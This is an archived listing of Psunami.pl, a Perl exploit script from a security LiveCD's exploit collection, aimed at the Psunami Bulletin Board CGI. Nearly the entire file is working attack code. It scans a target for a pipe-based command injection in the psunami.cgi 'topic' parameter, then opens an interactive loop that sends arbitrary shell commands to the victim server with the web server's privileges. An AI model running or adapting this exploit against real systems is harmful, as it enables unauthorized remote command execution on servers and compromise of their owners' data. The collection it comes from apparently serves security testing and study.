home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / webcart / Psunami.pl < prev    next >
Text File  |  2005-02-12  |  4KB  |  173 lines

  1. #####################################################
  2. # Shopcart exploit
  3. # Spawn bash style Shell with webserver uid
  4. # http://www.securityfocus.com/bid/6607
  5. # Spabam 2003 PRIV8 code
  6. # #hackarena irc.brasnet.org
  7. # This Script is currently under development
  8. #####################################################
  9. use strict;
  10. use IO::Socket;
  11. my $host;
  12. my $port;
  13. my $command;
  14. my $url;
  15. my @results;
  16. my $probe;
  17. my @U;
  18. my $shit;
  19. $U[1] = "/cgi-bin/psunami.cgi?action=board&board=1&topic=|";
  20. &intro;
  21. &scan;
  22. &choose;
  23. &command;
  24. &exit;
  25. sub intro {
  26. &help;
  27. &host;
  28. &server;
  29. sleep 3;
  30. };
  31. sub host {
  32. print "\nHost or IP : ";
  33. $host=<STDIN>;
  34. chomp $host;
  35. if ($host eq ""){$host="127.0.0.1"};
  36. $shit=" /|";
  37. $port="80";
  38. chomp $port;
  39. if ($port =~/\D/ ){$port="80"};
  40. if ($port eq "" ) {$port = "80"};
  41. };
  42. sub server {
  43. my $X;
  44. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  45. $probe = "string";
  46. my $output;
  47. my $webserver = "something";
  48. &connect;
  49. for ($X=0; $X<=10; $X++){
  50.     $output = $results[$X];
  51.     if (defined $output){
  52.     if ($output =~/Apache/){ $webserver = "Apache" };
  53.     };
  54. };
  55. if ($webserver ne "Apache"){
  56. my $choice = "y";
  57. chomp $choice;
  58. if ($choice =~/N/i) {&exit};
  59.             }else{
  60. print "\n\nOK";
  61.     };        
  62. };  
  63. sub scan {
  64. my $status = "not_vulnerable";
  65. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  66. my $loop;
  67. my $output;
  68. my $flag;
  69. $command="dir";
  70. for ($loop=1; $loop < @U; $loop++) { 
  71. $flag = "0";
  72. $url = $U[$loop];
  73. $probe = "scan";
  74. &connect;
  75. foreach $output (@results){
  76. if ($output =~ /Directory/) {
  77.                               $flag = "1";
  78.                   $status = "vulnerable";
  79.                   };
  80.     };
  81. if ($flag eq "0") { 
  82. }else{
  83. print "\a\a\a\n$host VULNERABLE $loop !!!";
  84.      };
  85. };
  86. if ($status eq "not_vulnerable"){
  87.  
  88.                 };
  89. };
  90. sub choose {
  91. my $choice="0";
  92. chomp $choice;
  93. if ($choice > @U){ &choose };
  94. if ($choice =~/\D/g ){ &choose };
  95. if ($choice == 0){ &other };
  96. $url = $U[$choice];
  97. };
  98. sub other {
  99. my $other = "/cgi-bin/psunami.cgi?action=board&board=1&topic=|";
  100. chomp $other;
  101. $U[0] = $other;
  102. };
  103. sub command {
  104. while ($command !~/quit/i) {
  105. print "\n[$host]\$ ";
  106. $command = <STDIN>;
  107. chomp $command;
  108. if ($command =~/quit/i) { &exit };
  109. if ($command =~/url/i) { &choose }; 
  110. if ($command =~/scan/i) { &scan };
  111. if ($command =~/help/i) { &help };
  112. $command =~ s/\s/+/g; 
  113. $probe = "command";
  114. if ($command !~/quit|url|scan|help/) {&connect};
  115. };
  116. &exit;
  117. };  
  118. sub connect {
  119. my $connection = IO::Socket::INET->new (
  120.                 Proto => "tcp",
  121.                 PeerAddr => "$host",
  122.                 PeerPort => "$port",
  123.                 ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
  124. $connection -> autoflush(1);
  125. if ($probe =~/command|scan/){
  126. print $connection "GET $url$command$shit HTTP/1.0\r\n\r\n";
  127. }elsif ($probe =~/string/) {
  128. print $connection "HEAD / HTTP/1.0\r\n\r\n";
  129. };
  130.  
  131. while ( <$connection> ) { 
  132.             @results = <$connection>;
  133.              };
  134. close $connection;
  135. if ($probe eq "command"){ &output };
  136. if ($probe eq "string"){ &output };
  137. };  
  138. sub output{
  139. my $display;
  140. if ($probe eq "string") {
  141.             my $X;
  142.             for ($X=0; $X<=10; $X++) {
  143.             $display = $results[$X];
  144.             if (defined $display){print "$display";};
  145.             sleep 1;
  146.                 };
  147.             }else{
  148.             foreach $display (@results){
  149.                 print "$display";
  150.                 sleep 1;
  151.                 };
  152.                           };
  153. };  
  154. sub exit{
  155. print "\n\n\n
  156. SPABAM 2003.";
  157. print "\n\n\n";
  158. exit;
  159. };
  160. sub help {
  161. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  162. print "\n
  163.         Psunami.pl-v0.8 by SPABAM 2003";
  164. print "\n
  165. ";
  166. print "\n Psunami Bulletin Board Psunami.CGI 0.2/0.5.2 exploit WHICH SPAWN A BASH STYLE SHELL";
  167. print "\n
  168. note.. web directory is normally /var/www/html";
  169. print "\n";
  170. print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
  171. print "\n\n\n\n\n\n\n\n\n\n\n\n";
  172. };
  173.